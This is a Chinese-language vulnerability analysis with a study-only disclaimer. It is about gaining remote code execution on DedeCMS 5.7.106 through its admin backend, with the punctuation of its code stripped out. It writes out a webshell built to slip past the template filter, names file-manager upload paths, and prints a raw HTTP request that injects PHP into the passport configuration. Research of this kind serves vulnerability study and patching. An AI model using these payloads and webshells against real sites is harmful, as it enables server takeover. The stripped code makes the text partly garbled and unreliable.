请遵守法律法规,文章仅供安全防范与学习,严禁非法使用,后果自负。简介 织梦内容管理系统(DedeCMS),采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY自己的网站提供了强有力的支持。影响版本 version5。7。106环境搭建 php5。6。9mysql5。6apache 下载地址 https:updatenew。dedecms。combasev57packagepatchv57sp2v57sp1v5720230223。zip 使用小皮部署,www目录下放源码,使用phpstrom进行动态调试即可 初始化数据库配置安装 安装完成 RCErce模板文件绕过正则实现rce 代码位置 uploadsdedearticlestringmix。php 修改模板文件?phpaGLOBALS〔GET〕;bGLOBALS〔GET〕;a〔value1〕(b〔value2〕)? 文件存储路径 uploadsdatadownmix。data。php 访问模板文件测试shell 分析 看到在29行的时候对文件内容使用正则表达式进行了校验 在31行到33行是对diasble的方法做了定义,循环是对文件内容是否使用了disablefunction进行了校验,如果传入的内容含有disable的方法则返回信息DedeCMS提示:当前页面中存在恶意代码,当文件内容为一句话 返回信息如下 无法绕过循环,当文件内容为?phpaGLOBALS〔GET〕;bGLOBALS〔GET〕;a〔value1〕(b〔value2〕)? 的时候这里是可以绕过代码后端的校验内容,debug往下跟 在这里对文件内容做正则匹配 继续向下跟进直接写入文件了,导致rce 所以这里针对模板文件修改实现RCE的话,只要绕过循环以及正则就可以实现,所以免杀马的话就没有问题。 文件上传RCEuploadsdedefilemanagemain。phpuploadsdedefilemanageview。php?fmdonewfileactivepath2Fuploadsuploadsdedefilemanageview。php?fmdouploadactivepath2Fuploads 检索ctrlshiftf rce配置文件实现rce 前端修改配置文件导致rce,这里其实可以对比5。7的不同小版本,在106这个版本前后比较明显,在106版本之前,根据fwrite()检索 路径uploadsdedesysinfomark。php,前端 修改配置直接写入 配置文件markincphotowatermarkconfig。php 这里被转义为测试发现106之前的版本都是没问题的。因为106版本在代码位置多了转义增加了一个反斜杠 在版本106以及107中,在参数配置文件中同样做了增加反斜杠的代码部分,参数转义后的参数值如下图 在35行添加了反斜杠,但是在106版本之前依旧可以实现后端RCE dedesysinfo。php 在106版本之前,该位置无函数addslashes 所以在这里直接修改配置参数 可直接实现rce http:dedecms。org:9999uploadsdataconfig。cache。inc。php 但是通行证配置的功能在106版以及最新的107版中并未使用addslashes()函数对参数值进行添加反斜杠,路径为 uploadsdedesyspassport。php 中的代码并未做任何加固以及补丁,使用BC对比 两端代码一致,使用payload进行debug分析POSTuploadsdedesyspassport。phpHTTP1。1Host:dedecms。org:9999UserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64;rv:109。0)Gecko20100101Firefox111。0Accept:texthtml,applicationxhtmlxml,q0。9,imageavif,imagewebp,;q0。8AcceptLanguage:zhCN,q0。8,zhTW;q0。7,zhHK;q0。5,enUS;q0。3,q0。2AcceptEncoding:gzip,deflateContentType:applicationxwwwformurlencodedContentLength:162Origin:http:dedecms。org:9999Connection:closeReferer:http:dedecms。org:9999uploadsdedesyspassport。phpCookie:menuitems112C212C31;PHPSESSIDeh4uq681vd4m4cpf0c1jv6q7csrfnamea20d95d79a1330d9413d7550843ea533405a9908;csrfnamea20d95d71BH21ANI1AGD297L1FF21LN02BGE1DNGec2abc545b3af7e5;DedeUserID1;DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG1442494cd39124c2;DedeLoginTime1680536871;DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG941cc93ac807533a;XDEBUGSESSIONXDEBUGECLIPSEUpgradeInsecureRequests:1dopostsaveeditcfgppencodeFwCCr9938Beditcfgpplogindeditcfgppexitt5Ceditcfgppreg3Bphpinfo28293B2FimageField。x36imageField。y4 保存成功echo后请求配置文件 http:dedecms。org:9999uploadsincludeconfigpassport。php 这里直接写入一句话实现RCE即可。 在这里其实对比在rce配置文件实现rce开头的位置路径uploadsdedesysinfomark。php的分析可以发现这个位置在输入参数内容存在反斜杠的时候因为函数stripslashes删掉了一个反斜杠,所以最终的配置文件内容为 stripslashes()函数的作用 运行实例 小结 提供一些发散的思路吧,后端的RCE的利用基本都可以围绕这两点。fromhttps:secin。comarticle2167